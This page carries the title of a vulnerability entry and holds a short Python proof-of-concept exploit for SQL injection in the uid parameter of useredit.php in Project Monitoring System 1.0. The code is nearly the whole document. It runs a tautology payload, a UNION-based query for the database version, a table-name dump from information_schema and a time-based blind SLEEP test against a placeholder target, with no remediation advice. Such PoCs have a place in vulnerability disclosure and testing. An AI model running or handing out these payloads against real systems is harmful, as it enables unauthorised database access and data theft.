CVE-2025-11585：Project Monitoring System useredit.php SQL注入漏洞

# CVE-2025-11585 SQL Injection PoC # Target: code-projects Project Monitoring System 1.0 # Vulnerable file: /useredit.php # Vulnerable parameter: uid import requests TARGET_URL = "http://target.com" VULNERABLE_ENDPOINT = "/useredit.php" def exploit_sqli(target_url, payload): """ Exploit SQL injection in useredit.php via uid parameter """ url = f"{target_url}{VULNERABLE_ENDPOINT}" params = { "uid": payload } try: response = requests.get(url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Test 1: Basic SQL injection detection payload_basic = "1' OR '1'='1" print(f"[*] Testing basic SQL injection with payload: {payload_basic}") result = exploit_sqli(TARGET_URL, payload_basic) if result: print(f"[+] Response length: {len(result)}") print(f"[+] Response preview: {result[:200]}") # Test 2: UNION-based injection to extract database version payload_union = "1' UNION SELECT 1,version(),3,4,5-- -" print(f"\n[*] Testing UNION-based injection: {payload_union}") result = exploit_sqli(TARGET_URL, payload_union) if result: print(f"[+] Response: {result[:500]}") # Test 3: Extract table names using information_schema payload_tables = "1' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -" print(f"\n[*] Extracting table names...") result = exploit_sqli(TARGET_URL, payload_tables) if result: print(f"[+] Tables found: {result[:500]}") # Test 4: Time-based blind injection import time payload_time = "1' AND SLEEP(5)-- -" print(f"\n[*] Testing time-based blind injection...") start_time = time.time() exploit_sqli(TARGET_URL, payload_time) elapsed = time.time() - start_time print(f"[+] Elapsed time: {elapsed:.2f} seconds (should be > 5 if vulnerable)") print("\n[*] Exploitation complete")